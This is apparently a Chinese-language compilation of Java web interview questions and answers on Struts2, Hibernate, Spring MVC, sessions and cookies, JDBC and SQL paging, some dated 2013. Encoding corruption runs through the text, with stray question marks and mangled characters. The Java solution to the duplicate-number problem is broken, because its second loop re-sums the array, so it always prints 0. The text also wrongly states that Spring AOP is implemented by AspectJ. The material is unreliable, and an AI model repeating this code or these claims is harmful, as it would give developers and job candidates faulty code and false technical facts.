它是建立在MVC這種公認(rèn)的好的模式上的,Struts在M、V和C上都有涉及,但它主要是提供一個(gè)好的控制器和一套定制的標(biāo)簽庫上,也就是說它的著力點(diǎn)在C和V上。因此,它天生就有MVC所帶來的一系列優(yōu)點(diǎn),如:結(jié)構(gòu)層次分明,高可重用性,增加了程序的健壯性和可伸縮性,便于開發(fā)與設(shè)計(jì)分工,提供集中統(tǒng)一的權(quán)限控制、校驗(yàn)、國際化、日志等等 ?
其次,它是個(gè)開源項(xiàng)目得到了包括它的發(fā)明者Craig R.McClanahan在內(nèi)的一些程序大師和高手持續(xù)而細(xì)心的呵護(hù),并且經(jīng)受了實(shí)戰(zhàn)的檢驗(yàn),使其功能越來越強(qiáng)大,體系也日臻完善 ?
是它對其他技術(shù)和框架顯示出很好的融合性 ?
??
問題10:Struts2的工作原理? ?
??
Struts2框架由3個(gè)部分組成: ?
核心控制器FilterDispatcher、業(yè)務(wù)控制器和用戶實(shí)現(xiàn)的業(yè)務(wù)邏輯組件。 ?
在這3個(gè)部分里,Struts 2框架提供了核心控制器FilterDispatcher,而用戶需要實(shí)現(xiàn)業(yè)務(wù)控制器和業(yè)務(wù)邏輯組件。 ??
??
1、核心控制器:FilterDispatcher ??
FilterDispatcher是Struts2框架的核心控制器,該控制器作為一個(gè)Filter運(yùn)行在Web應(yīng)用中,它負(fù)責(zé)攔截所有的用戶請求,當(dāng)用戶請求到達(dá)時(shí),該Filter會過濾用戶請求。如果用戶請求以action結(jié)尾,該請求將被轉(zhuǎn)入Struts2框架處理。 ??
Struts2框架獲得了*.action請求后,將根據(jù)*.action請求的前面部分決定調(diào)用哪個(gè)業(yè)務(wù)邏輯組件。例如,對于login.action請求,Struts2調(diào)用名為login的Action來處理該請求。 ?
Struts2應(yīng)用中的Action都被定義在struts.xml文件中,在該文件中定義Action時(shí),定義了該Action的name屬性和class屬性,其中name屬性決定了該Action處理哪個(gè)用戶請求,而class屬性決定了該Action的實(shí)現(xiàn)類。 ??
Struts2用于處理用戶請求的Action實(shí)例,并不是用戶實(shí)現(xiàn)的業(yè)務(wù)控制器,而是Action代理。因?yàn)橛脩魧?shí)現(xiàn)的業(yè)務(wù)控制器并沒有與Servlet API耦合,顯然無法處理用戶請求。而Struts2框架提供了系列攔截器,該系列攔截器負(fù)責(zé)將HttpServletRequest請求中的請求參數(shù)解析出來,傳入到Action中,并回調(diào)Action 的execute方法來處理用戶請求。 ??
??
2、一個(gè)請求在Struts2框架中的處理大概分為以下幾個(gè)步驟: ?
客戶端初始化一個(gè)指向Servlet容器(例如Tomcat)的請求 ,即HttpServletRequest請求 ?
這個(gè)請求經(jīng)過一系列的過濾器(Filter)(這些過濾器中有一個(gè)叫做ActionContextCleanUp的可選過濾器,這個(gè)過濾器對于Struts2和其他框架的集成很有幫助,例如:SiteMesh Plugin) ?
接著FilterDispatcher被調(diào)用,FilterDispatcher詢問ActionMapper來決定這個(gè)請是否需要調(diào)用某個(gè)Action ??
如果ActionMapper決定需要調(diào)用某個(gè)Action,FilterDispatcher把請求的處理交給ActionProxy ??
ActionProxy通過Configuration Manager詢問框架的配置文件,找到需要調(diào)用的Action類 ??
ActionProxy創(chuàng)建一個(gè)ActionInvocation的實(shí)例 ?
ActionInvocation實(shí)例使用命名模式來調(diào)用,在調(diào)用Action的過程前后,涉及到相關(guān)攔截器(Intercepter)的調(diào)用 ?
一旦Action執(zhí)行完畢,ActionInvocation負(fù)責(zé)根據(jù)struts.xml中的配置找到對應(yīng)的返回結(jié)果。返回結(jié)果通常是(但不總是,也可 能是另外的一個(gè)Action鏈)一個(gè)需要被表示的JSP或者FreeMarker的模版。在表示的過程中可以使用Struts2 框架中繼承的標(biāo)簽。在這個(gè)過程中需要涉及到ActionMapper ?
??
在上述過程中所有的對象(Action,Results,Interceptors,等)都是通過ObjectFactory來創(chuàng)建的。 ?
??
問題11:Hibernate的工作原理? ?
??
讀取并解析hibernate.cfg.xml配置文件 ?
讀取并解析映射信息,創(chuàng)建SessionFactory ?
打開Sesssion ?
創(chuàng)建事務(wù)Transaction ?
持久化操作 ?
提交事務(wù) ?
關(guān)閉Session ?
關(guān)閉SesstionFactory ?
??
問題12:為什么要用Hibernate? ?
??
對JDBC訪問數(shù)據(jù)庫的代碼做了封裝,大大簡化了數(shù)據(jù)訪問層繁瑣的重復(fù)性代碼 ?
Hibernate是一個(gè)基于JDBC的主流持久化框架,是一個(gè)優(yōu)秀的ORM實(shí)現(xiàn)。他很大程度的簡化DAO層的編碼工作 ?
Hibernate使用Java反射機(jī)制,而不是字節(jié)碼增強(qiáng)程序來實(shí)現(xiàn)透明性 ?
Hibernate的性能非常好,因?yàn)樗莻€(gè)輕量級框架。映射的靈活性很出色。它支持各種關(guān)系數(shù)據(jù)庫,從一對一到多對多的各種復(fù)雜關(guān)系 ?
??
問題13:Hibernate如何實(shí)現(xiàn)延遲加載? ?
??
當(dāng)Hibernate在查詢數(shù)據(jù)的時(shí)候,數(shù)據(jù)并沒有存在與內(nèi)存中,當(dāng)程序真正對數(shù)據(jù)的操作時(shí),對象才存在與內(nèi)存中,就實(shí)現(xiàn)了延遲加載,他節(jié)省了服務(wù)器的內(nèi)存開銷,從而提高了服務(wù)器的性能。 ?
??
問題14:Hibernate中怎樣實(shí)現(xiàn)類之間的關(guān)系?(如:一對多、多對多的關(guān)系) ?
??
類與類之間的關(guān)系主要體現(xiàn)在表與表之間的關(guān)系進(jìn)行操作,它們都是對對象進(jìn)行操作,我們程序中把所有的表與類都映射在一起,它們通過配置文件中的many-to-one、one-to-many、many-to-many ?
??
問題15:Spring的工作原理? ?
??
IoC(Inversion of control): 控制反轉(zhuǎn) ?
概念:控制權(quán)由對象本身轉(zhuǎn)向容器,由容器根據(jù)配置文件去創(chuàng)建實(shí)例并創(chuàng)建各個(gè)實(shí)例之間的依賴關(guān)系 ?
核心:bean工廠,在Spring中,bean工廠創(chuàng)建的各個(gè)實(shí)例稱作bean ?
??
AOP(Aspect-Oriented Programming): 面向切面編程 ?
??
1、代理的兩種方式: ?
靜態(tài)代理: ?
? 針對每個(gè)具體類分別編寫代理類 ??
? 針對一個(gè)接口編寫一個(gè)代理類 ?
動態(tài)代理: ?
針對一個(gè)切面編寫一個(gè)InvocationHandler,然后借用JDK反射包中的Proxy類為各種接口動態(tài)生成相應(yīng)的代理類 ?
?
2、AOP的主要原理:動態(tài)代理 ?
??
Spring的工作原理 ??
Spring 已經(jīng)用過一段時(shí)間了,感覺Spring是個(gè)很不錯的框架。內(nèi)部最核心的就是IOC了, 動態(tài)注入,讓一個(gè)對象的創(chuàng)建不用new了,可以自動的生產(chǎn),這其實(shí)就是利用Java里的反射 ?
反射其實(shí)就是在運(yùn)行時(shí)動態(tài)的去創(chuàng)建、調(diào)用對象,Spring就是在運(yùn)行時(shí),跟XMLSpring的配置文件來動態(tài)的創(chuàng)建對象,以及調(diào)用對象里的方法 ?
Spring還有一個(gè)核心就是AOP這個(gè)就是面向切面編程,可以為某一類對象進(jìn)行監(jiān)督和控制(也就是在調(diào)用這類對象的具體方法的前后去調(diào)用你指定的模塊)從而達(dá)到對一個(gè)模塊擴(kuò)充的功能,這些都是通過配置類達(dá)到的 ?
?
Spring的目的: ?
就是讓對象與對象(模塊與模塊)之間的關(guān)系沒有通過代碼來關(guān)聯(lián),都是通過配置類說明管理的(Spring根據(jù)這些配置內(nèi)部通過反射去動態(tài)的組裝對象),要記住:Spring是一個(gè)容器,凡是在容器里的對象才會有Spring所提供的這些服務(wù)和功能 ?
Spring里用的最經(jīng)典的一個(gè)設(shè)計(jì)模式就是:模板方法模式。(這里我都不介紹了,是一個(gè)很常用的設(shè)計(jì)模式)Spring里的配置是很多的,很難都記住,但是Spring里的精華也無非就是以上的兩點(diǎn),把以上兩點(diǎn)跟理解了也就基本上掌握Spring。 ?
??
問題16:SpringMVC的工作原理? ?
??
Spring的MVC框架主要由DispatcherServlet、處理器映射、處理器、視圖解析器、視圖組成 ?
??
整個(gè)處理過程從一個(gè)HTTP請求開始: ?
DispatcherServlet接收到請求后,根據(jù)對應(yīng)配置文件中配置的處理器映射,找到對應(yīng)的處理器映射項(xiàng)(HandlerMapping),根據(jù)配置的映射規(guī)則,找到對應(yīng)的處理器(Handler) ?
調(diào)用相應(yīng)處理器中的處理方法,處理該請求,處理器處理結(jié)束后會將一個(gè)ModelAndView類型的數(shù)據(jù)傳給DispatcherServlet,這其中包含了處理結(jié)果的視圖和視圖中要使用的數(shù)據(jù) ?
DispatcherServlet根據(jù)得到的ModelAndView中的視圖對象,找到一個(gè)合適的ViewResolver(視圖解析器),根據(jù)視圖解析器的配置,DispatcherServlet將視圖要顯示的數(shù)據(jù)傳給對應(yīng)的視圖,最后給瀏覽器構(gòu)造一個(gè)HTTP響應(yīng) ?
??
DispatcherServlet是整個(gè)Spring MVC的核心,它負(fù)責(zé)接收HTTP請求組織協(xié)調(diào)Spring MVC的各個(gè)組成部分 ?
其主要工作有以下三項(xiàng): ?
截獲符合特定格式的URL請求 ?
初始化DispatcherServlet上下文對應(yīng)的WebApplicationContext,并將其與業(yè)務(wù)層、持久化層的WebApplicationContext建立關(guān)聯(lián) ?
初始化Spring MVC的各個(gè)組成組件,并裝配到DispatcherServlet中 ?
??
問題17:SendRedirect 和Foward區(qū)別 ?
??
1、請求次數(shù)不同,這是最本質(zhì)的區(qū)別 ?
在Foward方式下,在執(zhí)行當(dāng)前JSP對象或者Servlet對象的過程中去調(diào)用目標(biāo)文件對應(yīng)的對象,相當(dāng)于方法調(diào)用,把request和response對象作為參數(shù)傳遞到目標(biāo)文件對應(yīng)的對象,當(dāng)前文件和目標(biāo)文件的執(zhí)行是在用戶發(fā)送的一次請求中完成的。 ?
在redirect方式下,用于首先請求了當(dāng)前文件,當(dāng)前文件把目標(biāo)文件的地址返回給了客戶端,客戶端再次發(fā)送請求,請求目標(biāo)文件,實(shí)際上是發(fā)送了兩次請求。 ?
??
2、傳值方式不同 ?
在Foward方式下,當(dāng)前文件和目標(biāo)文件屬于同一次請求,共享request對象,所以可以使用request對象傳值。 ?
在redirect方式下,當(dāng)前文件和目標(biāo)文件屬于不同的請求,每次請求會單獨(dú)創(chuàng)建request和response對象,這樣就不能使用request對象來傳值。 ?
在MVC模式下,通常在控制器中調(diào)用模型得到數(shù)據(jù),然后保存到request中,然后Foward到目標(biāo)文件,目標(biāo)文件從request中獲取需要的信息。如果使用sendRedirect方式在控制器和視圖之間傳遞信息,需要使用在目標(biāo)文件之后加上“?名字=值”的方式傳遞。 ?
??
3、客戶端在地址欄中看到的地址不一樣 ?
對于Foward,在地址欄中看到的是第1個(gè)文件的名字。 ?
對于sendRedirect,在地址欄中看到的是第2個(gè)文件的地址。 ?
有時(shí)候會影響目標(biāo)文件中的相對路徑,例如當(dāng)前文件是aa文件夾中的a.jsp,目標(biāo)文件是bb文件夾中的b.jsp,在b.jsp中要訪問一個(gè)圖片,使用相對路徑,直接寫face.jpg,這個(gè)文件與b.jsp放在一起。如果采用forward方式,地址欄中是a.jsp,這樣系統(tǒng)會在aa文件夾中找face.jpg,這時(shí)候就會出錯。 ?
??
問題18:addBatch批量處理數(shù)據(jù)庫數(shù)據(jù)時(shí)用execute對嗎? ?
??
錯,要使用executeBatch執(zhí)行批量SQL語句 ?
??
問題19:簡述JavaWeb中Model2及軟件分層架構(gòu)的好處 ?
??
Model2(JSP+Servlet+JavaBean)具有組件化的優(yōu)點(diǎn)從而更易于實(shí)現(xiàn)對大規(guī)模系統(tǒng)的開發(fā)和管理,職責(zé)劃分清晰。 ?
??
優(yōu)點(diǎn): ?
分層式結(jié)構(gòu)究竟其優(yōu)勢何在?Martin Fowler在《Patterns of Enterprise Application Architecture》一書中給出了答案: ?
1、開發(fā)人員可以只關(guān)注整個(gè)結(jié)構(gòu)中的其中某一層 ?
2、可以很容易的用新的實(shí)現(xiàn)來替換原有層次的實(shí)現(xiàn) ?
3、可以降低層與層之間的依賴 ?
4、有利于標(biāo)準(zhǔn)化 ?
5、利于各層邏輯的復(fù)用 ?
??
概括來說,分層式設(shè)計(jì)可以達(dá)至如下目的:分散關(guān)注、松散耦合、邏輯復(fù)用、標(biāo)準(zhǔn)定義 ?
??
缺點(diǎn): ?
“金無足赤,人無完人”,分層式結(jié)構(gòu)也不可避免具有一些缺陷 ?
1、降低了系統(tǒng)的性能,這是不言而喻的。如果不采用分層式結(jié)構(gòu),很多業(yè)務(wù)可以直接造訪數(shù)據(jù)庫,以此獲取相應(yīng)的數(shù)據(jù),如今卻必須通過中間層來完成 ?
2、有時(shí)會導(dǎo)致級聯(lián)的修改,這種修改尤其體現(xiàn)在自上而下的方向。如果在表示層中需要增加一個(gè)功能,為保證其設(shè)計(jì)符合分層式結(jié)構(gòu),可能需要在相應(yīng)的業(yè)務(wù)邏輯層和數(shù)據(jù)訪問層中都增加相應(yīng)的代碼。 ?
關(guān)于第一個(gè)缺點(diǎn),完全可以通過系統(tǒng)的緩存機(jī)制來減小對性能的影響。第二個(gè)缺點(diǎn),我想只能通過采用一些設(shè)計(jì)模式來得到改善吧。 ?
?
問題20:說說Session分話的原理,Session與Cookie的關(guān)系及區(qū)別 ?
??
服務(wù)器上通過Session來分別不同的用戶Session ID ?
任何連接到服務(wù)器上的用戶,服務(wù)器都會位之分配唯一的一個(gè)不會重復(fù)的Session ID ?
Session ID是由服務(wù)器統(tǒng)一管理的,人為不能控制 ?
??
Session在服務(wù)器上2個(gè)基本操作: ?
Session.setAttribute(String key,Object obj)以鍵值對的方式存儲數(shù)據(jù) ?
Session.getAttribute(String key)根據(jù)鍵獲取數(shù)據(jù) ?
?
Session是服務(wù)器端緩存,Cookie是客戶端緩存 ?
Cookie機(jī)制采用的是在客戶端保持狀態(tài)的方案,而Session機(jī)制采用的是在服務(wù)器端保持狀態(tài)的方案 ?
??
問題21:Cookie中的值能否包含各種特殊字符及中文字符?如果不能,那應(yīng)該如何處理? ?
??
當(dāng)Cookie中包含有等號、空格、分號等特殊字符時(shí),可能會導(dǎo)致數(shù)據(jù)丟失、或者不能解析的錯誤,一個(gè)較好的解決辦法就是:在將Cookie值寫入客戶端瀏覽器之前,首先進(jìn)行URLEncode編碼,讀取Cookie時(shí),進(jìn)行URLDecode即可。 ?
??
問題22:JDBC和Hibernate的比較? ?
??
JDBC與Hibernate在性能上相比,JDBC靈活性有優(yōu)勢。而Hibernate在易學(xué)性,易用性上有些優(yōu)勢。當(dāng)用到很多復(fù)雜的多表聯(lián)查和復(fù)雜的數(shù)據(jù)庫操作時(shí),JDBC有優(yōu)勢。 ?
??
相同點(diǎn): ?
兩者都是JAVA的數(shù)據(jù)庫操作中間件 ?
兩者對于數(shù)據(jù)庫進(jìn)行直接操作的對象都不是線程安全的,都需要及時(shí)關(guān)閉 ?
兩者都可以對數(shù)據(jù)庫的更新操作進(jìn)行顯式的事務(wù)處理 ?
??
不同點(diǎn): ?
使用的SQL語言不同:JDBC使用的是基于關(guān)系型數(shù)據(jù)庫的標(biāo)準(zhǔn)SQL語言,Hibernate使用的是HQL(Hibernate query language)語言 ?
操作的對象不同:JDBC操作的是數(shù)據(jù),將數(shù)據(jù)通過SQL語句直接傳送到數(shù)據(jù)庫中執(zhí)行,Hibernate操作的是持久化對象,由底層持久化對象的數(shù)據(jù)更新到數(shù)據(jù)庫中。 ?
數(shù)據(jù)狀態(tài)不同:JDBC操作的數(shù)據(jù)是“瞬時(shí)”的,變量的值無法與數(shù)據(jù)庫中的值保持一致,而Hibernate操作的數(shù)據(jù)是可持久的,即持久化對象的數(shù)據(jù)屬性的值是可以跟數(shù)據(jù)庫中的值保持一致的。 ?
??
Hibernate與JDBC哪個(gè)好?各自的優(yōu)點(diǎn)和缺點(diǎn): ?
1、內(nèi)存消耗:采用JDBC的無疑是最省內(nèi)存的,Hibernate的次之 ?
2、運(yùn)行效率:如果JDBC的代碼寫的非常優(yōu)化,那么JDBC架構(gòu)運(yùn)行效率最高,但是實(shí)際項(xiàng)目中,這一點(diǎn)幾乎做不到,這需要程序員非常精通JDBC,運(yùn)用Batch語句,調(diào)整PreapredStatement的Batch Size和Fetch Size等參數(shù),以及在必要的情況下采用結(jié)果集cache等等。而一般情況下程序員是做不到這一點(diǎn)的。因此Hibernate架構(gòu)表現(xiàn)出最快的運(yùn)行效率 ?
3、開發(fā)效率:在大的項(xiàng)目,特別是持久層關(guān)系映射很復(fù)雜的情況下,Hibernate效率高的驚人,JDBC次之 ?
??
延遲加載是罪魁禍?zhǔn)?#xff0c;所謂“成也蕭何,敗也蕭何” ?
有時(shí)發(fā)現(xiàn)查詢速度很慢,檢查才發(fā)現(xiàn)是我沒有啟用延遲加載,造成遞歸的數(shù)據(jù)都被加載進(jìn)來了 ?
如果加上了延遲加載,那么許多頁面將無法使用,必須在程序里進(jìn)行代碼級別的遞歸的延遲加載數(shù)據(jù)的讀取 ?
??
1 用HQL來寫查詢語句,這是最高效的辦法(推薦) ?
2 用JDBC,脫離了Hibernate范疇,緩存方面和樂觀所方面會出現(xiàn)不一致,而且語句變得繁瑣了(不推薦) ?
3 將前臺要用到的實(shí)體,獨(dú)立設(shè)計(jì)成單獨(dú)的類,沒有任何關(guān)聯(lián),都是單表,用到的只是Hibernate的封裝以及簡單的OR映射 ?
4 在大數(shù)據(jù)量系統(tǒng)中都會遇到類似的問題,我的解決方法是少用一對多關(guān)聯(lián)映射或者不用一對多關(guān)聯(lián),設(shè)置關(guān)聯(lián)少的數(shù)據(jù)表,用SQL語句做關(guān)聯(lián)的查詢,Hibernate中映射的配置 Lazy都為False ?
??
2013年8月9日:微游科技、三六五世界科技 ?
??
問題1:有一個(gè)1001個(gè)元素的數(shù)組a[n],每個(gè)元素都在1到1000這些整數(shù)中取值,其中只有一個(gè)數(shù)得復(fù),并且數(shù)組中每個(gè)元素只能被訪問一次,設(shè)計(jì)一個(gè)算法找出這個(gè)數(shù)字.說明:每個(gè)元素只能被訪問一次,就像執(zhí)行int v=a[1],v變量和a[1]元素不能再訪問.求高手指教 ?
??
一共有1001個(gè)數(shù),其中1000個(gè)數(shù)是從1到1000取值的(而且取完一遍),另外一個(gè)數(shù)是重復(fù)數(shù),那就用這1001個(gè)數(shù)的和,與前頭那個(gè)1000數(shù)的等差數(shù)列相減,便得出那個(gè)重復(fù)數(shù)了. ?
for (int num=0,i=0;i<1001;i++){num+=a【i】-i;} ?i從0開始,所以減的是1到1000的和。 ?
??
int[] arr = new int[1001];// 定義一個(gè)能夠存儲1001個(gè)元素的數(shù)組。 ?
? ? ? ? int sum = 0;// 定義一個(gè)變量用于存儲arr數(shù)組元素里面的所有總和。 ?
? ? ? ? int sum1 = 0;// 定義一個(gè)變量用于存儲1-1000的總和。 ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < arr.length; i++) { ?
? ? ? ? ? ? sum += arr[i];// 用for循環(huán),遍歷求出集合中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < 1001; i++) { ?
? ? ? ? ? ? sum1 += arr[i];// 用for循環(huán),遍歷求出1-1000中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? int a = sum - sum1;// 假設(shè)a為,arr數(shù)組里面重復(fù)的元素! ?
? ? ? ? System.out.println("數(shù)組里面重復(fù)的數(shù)字為:" + a); ?
??
問題2:瀑布式開發(fā)模型和螺旋式開發(fā)模型? ?
??
瀑布式模型:可行性研究與計(jì)劃、需求分析、設(shè)計(jì)、開發(fā)、測試、維護(hù) ?
螺旋式模型:可行性研究報(bào)告、需求說明書、設(shè)計(jì)文檔、程序、測試報(bào)告 ?
??
瀑布式模型要做完上一步才可以進(jìn)行下一步,現(xiàn)已淘汰 ?
??
螺旋模型(Spiral Model)采用一種周期性的方法來進(jìn)行系統(tǒng)開發(fā),這會導(dǎo)致開發(fā)出眾多的中間版本 ?
使用它,項(xiàng)目經(jīng)理在早期就能夠?yàn)榭蛻魧?shí)證某些概念。該模型是快速原型法,以進(jìn)化的開發(fā)方式為中心,在每個(gè)項(xiàng)目階段使用瀑布模型法。 ?
這種模型的每一個(gè)周期都包括需求定義、風(fēng)險(xiǎn)分析、工程實(shí)現(xiàn)和評審4個(gè)階段,由這4個(gè)階段進(jìn)行迭代。軟件開發(fā)過程每迭代一次,軟件開發(fā)又前進(jìn)一個(gè)層次。 ?
??
問題3:Spring底層動態(tài)代理失效,怎么實(shí)現(xiàn)切面? ?
??
Spring默認(rèn)使用JDK動態(tài)代理(Proxy),但JDK動態(tài)代理是針對接口做代理的。如果類不是實(shí)現(xiàn)的接口的時(shí)候,就會使用cglib代理。當(dāng)然,你也可以在配置文件里指定使用cglib ?
??
JDK代理:只能代理實(shí)現(xiàn)了接口的類 ?
cglib代理:不僅可以對實(shí)現(xiàn)接口的類進(jìn)行代理,同時(shí)也可以對類本身生成代理(主要是通過繼承這個(gè)類來生成的,所以不要將要代理的類設(shè)成final) ?
??
問題4:什么是動態(tài)代理? ?
??
動態(tài)代理可以提供對另一個(gè)對象的訪問,同時(shí)隱藏實(shí)際對象的具體事實(shí) ?
代理一般會實(shí)現(xiàn)它所表示的實(shí)際對象的接口 ?
代理可以訪問實(shí)際對象,但是延遲實(shí)現(xiàn)實(shí)際對象的部分功能,實(shí)際對象實(shí)現(xiàn)系統(tǒng)的實(shí)際功能,代理對象對客戶隱藏了實(shí)際對象。客戶不知道它是與代理打交道還是與實(shí)際對象打交道 ?
??
問題5:Struts2中的Action為什么是多例的? ?
??
Struts2的Action是多實(shí)例的并非單例,也就是每次請求產(chǎn)生一個(gè)Action的對象 ?
??
原因是: ?
Struts2的Action中包含數(shù)據(jù) ?
例如你在頁面填寫的數(shù)據(jù)就會包含在Action的成員變量里面,如果Action是單實(shí)例的話,這些數(shù)據(jù)在多線程的環(huán)境下就會相互影響,例如造成別人填寫的數(shù)據(jù)被你看到了 ?
??
而Struts1的Action是單實(shí)例的 ?
因?yàn)樗臄?shù)據(jù)保存在Form類中,多線程環(huán)境下,Action只負(fù)責(zé)處理一些邏輯,并沒有數(shù)據(jù),也就是大家把它當(dāng)做一個(gè)工具使用 ?
?
同樣Servlet也是單實(shí)例的 ?
??
問題6:Struts1和Struts2的區(qū)別? ?
??
Struts1的前端控制器是一個(gè)Servlet,名稱為ActionServlet,Struts2的前端控制器是一個(gè)filter,在Struts2.0中叫FilterDispatcher,在Struts2.1中叫StrutsPrepareAndExecuteFilter ?
Struts1的action需要繼承Action類,Struts2的action可以不繼承任何類;Struts1對同一個(gè)路徑的所有請求共享一個(gè)Action實(shí)例,Struts2對同一個(gè)路徑的每個(gè)請求分別使用一個(gè)獨(dú)立Action實(shí)例對象,所有對于Struts2的Action不用考慮線程安全問題 ?
在Struts1中使用formbean封裝請求參數(shù),在Struts2中直接使用action的屬性來封裝請求參數(shù) ?
Struts1 整合了JSTL,因此使用JSTL/EL。這種EL有基本對象圖遍歷,但是對集合和索引屬性的支持很弱。 ?
Struts2可以使用JSTL,但是也支持一個(gè)更強(qiáng)大和靈活的表達(dá)式語言--Object Graph Notation Language (OGNL)對象導(dǎo)航語言 ?
Struts 1使用標(biāo)準(zhǔn)JSP機(jī)制把對象綁定到頁面中來訪問 ?
Struts 2 使用ValueStack值棧技術(shù),使taglib能夠訪問值而不需要把你的頁面(view)和對象綁定起來 ?
Struts 1 ActionForm 屬性通常都是String類型。Struts1使用Commons-Beanutils進(jìn)行類型轉(zhuǎn)換 ?
Struts2 使用OGNL進(jìn)行類型轉(zhuǎn)換,提供基本和常用對象的轉(zhuǎn)換器 ?
Struts 1支持在ActionForm的validate方法中手動校驗(yàn),或者通過Commons Validator的擴(kuò)展來校驗(yàn)。 ??
Struts2支持通過validate方法和XWork校驗(yàn)框架來進(jìn)行校驗(yàn)。 ?
執(zhí)行流程 ?
Struts1 ?
JSP發(fā)起HTTPRequest請求Servlet捕獲struts.xmlnamespace+ActionNameAction填充表單setXxx()action.execute()“success”Result設(shè)置Request屬性跳轉(zhuǎn)目標(biāo)頁 ?
Struts2 ?
Action(JSP發(fā)起HTTPRequest請求,被過濾器捕獲)FilterDispatcherstruts.xmlnamespace+ActionNamenew Action填充表單setXxx()action.execute()“success”Result設(shè)置Request屬性跳轉(zhuǎn)目標(biāo)頁 ?
??
問題7:MySQL和Oracle的分頁查詢語句? ?
??
MySQL: ?
第一個(gè)參數(shù)指定返回的第一行在所有數(shù)據(jù)中的位置,從0開始(注意不是1),第二個(gè)參數(shù)指定最多返回行數(shù) ?
SELECT * FROM table LIMIT 5,10; #返回第6-15行數(shù)據(jù) ? ?
SELECT * FROM table LIMIT 5; ? ?#返回前5行 ? ?
SELECT * FROM table LIMIT 0,5; ?#返回前5行 ? ?
??
Oracle: ?
第1種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
WHERE ROWNUM <= 40 ?
) ?
WHERE RN >= 21 ?
??
第2種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
) ?
WHERE RN BETWEEN 21 AND 40 ?
??
對比這兩種寫法,絕大多數(shù)的情況下,第一個(gè)查詢的效率比第二個(gè)高得多。 ?
??
這是由于CBO優(yōu)化模式下,Oracle可以將外層的查詢條件推到內(nèi)層查詢中,以提高內(nèi)層查詢的執(zhí)行效率。對于第一個(gè)查詢語句,第二層的查詢條件WHERE ROWNUM <= 40就可以被Oracle推入到內(nèi)層查詢中,這樣Oracle查詢的結(jié)果一旦超過了ROWNUM限制條件,就終止查詢將結(jié)果返回了 ?
?
而第二個(gè)查詢語句,由于查詢條件BETWEEN 21 AND 40是存在于查詢的第三層,而Oracle無法將第三層的查詢條件推到最內(nèi)層(即使推到最內(nèi)層也沒有意義,因?yàn)樽顑?nèi)層查詢不知道RN代表什么) ?
因此,對于第二個(gè)查詢語句,Oracle最內(nèi)層返回給中間層的是所有滿足條件的數(shù)據(jù),而中間層返回給最外層的也是所有數(shù)據(jù)。數(shù)據(jù)的過濾在最外層完成,顯然這個(gè)效率要比第一個(gè)查詢低得多 ?
?
問題8:部署在不同Tomcat的兩個(gè)項(xiàng)目間如何通信? ?
??
使用WebService技術(shù)實(shí)現(xiàn) ?
使用Socket技術(shù)實(shí)現(xiàn) ?
使用Http請求技術(shù)實(shí)現(xiàn) ?
??
問題9:請你談?wù)凷SH整合? ?
??
Struts(表示層)+Spring(業(yè)務(wù)層)+Hibernate(持久層) ?
??
Struts: ?
Struts是一個(gè)表示層框架,主要作用是界面展示,接收請求,分發(fā)請求 ?
在MVC框架中,Struts屬于VC層次,負(fù)責(zé)界面表現(xiàn),負(fù)責(zé)MVC關(guān)系的分發(fā) ?
?
View:沿用 JSP,HTTP,Form,Tag,Resourse ?
Controller:ActionServlet,struts-config.xml,Action ?
Hibernate: ?
Hibernate是一個(gè)持久層框架,它只負(fù)責(zé)與關(guān)系數(shù)據(jù)庫的操作 ?
??
Spring: ?
Spring是一個(gè)業(yè)務(wù)層框架,是一個(gè)整合的框架,能夠很好地黏合表示層與持久層 ?
??
問題10:Struts2的數(shù)據(jù)都在ValueStack中,怎么保證數(shù)據(jù)的安全性?ValueStack生命周期多長? ?
??
因?yàn)閂alueStack在ActionContext中,而ActionContext在ThreadLocal中,所以能保證數(shù)據(jù)的安全性 ?
ValueStack的生命周期是一次請求,因?yàn)锳ctionContext把ValueStack放在Request域里面 ?
??
問題11:OGNL有什么優(yōu)點(diǎn)? ?
??
可以訪問ValueStack和AcionContext ?
可以操作集合對象,很方便的構(gòu)建各種集合 ?
可以在 struts.xml訪問action定義的屬性 ?
可以調(diào)用對象的方法 ?
JSTL/EL只能在JSP中使用,而OGNL可以在更多的View使用 ?
??
問題12:為什么使用Spring?有什么優(yōu)點(diǎn)? ?
??
降低了組件之間的耦合性 ,實(shí)現(xiàn)了軟件各層之間的解耦 ?
可以使用容器提供的眾多服務(wù),如事務(wù)管理,消息服務(wù)等 ?
容器提供單例模式支持 ?
容器提供了AOP技術(shù),利用它很容易實(shí)現(xiàn)如權(quán)限攔截,運(yùn)行期監(jiān)控等功能 ?
容器提供了眾多的輔助類,能加快應(yīng)用的開發(fā) ?
Spring對于主流的應(yīng)用框架提供了集成支持,如Hibernate,JPA,Struts等 ?
Spring屬于低侵入式設(shè)計(jì),代碼的污染極低 ?
獨(dú)立于各種應(yīng)用服務(wù)器 ?
Spring的DI機(jī)制降低了業(yè)務(wù)對象替換的復(fù)雜性(依賴注入) ?
10、Spring的高度開放性,并不強(qiáng)制應(yīng)用完全依賴于Spring,開發(fā)者可以自由選擇Spring的部分或全部 ?
??
2013年8月13日:信諾網(wǎng)利 ?
??
問題1:Spring的AOP是用什么來實(shí)現(xiàn)的? ?
??
Spring AOP就是用AspectJ來實(shí)現(xiàn)的,是依賴關(guān)系 ?
AspectJ是動態(tài)代理的一種實(shí)現(xiàn),而Spring默認(rèn)使用的就是AspectJ來實(shí)現(xiàn)的動態(tài)代理,Spring自己的AOP就是使用AspectJ來實(shí)現(xiàn)的 ?
?
AOP:Aspect Oriented Programming(面向切面編程) ?
利用動態(tài)代理實(shí)現(xiàn)面向切面編程 ?
Spring實(shí)現(xiàn)動態(tài)代理配置是有兩種配置文件: ?
XML文件方式 ?
Annotation方式,使用AspectJ類庫實(shí)現(xiàn)的 ?
AspectJ類庫,AspectJ是一個(gè)專門用來實(shí)現(xiàn)動態(tài)代理(AOP編程)的類庫,AspectJ是面向切面編程的框架,Spring使用就是這個(gè)類庫實(shí)現(xiàn)動態(tài)代理的 ?
AspectJ的專業(yè)術(shù)語: ?
JoinPoint連接點(diǎn)(切入點(diǎn)) ?
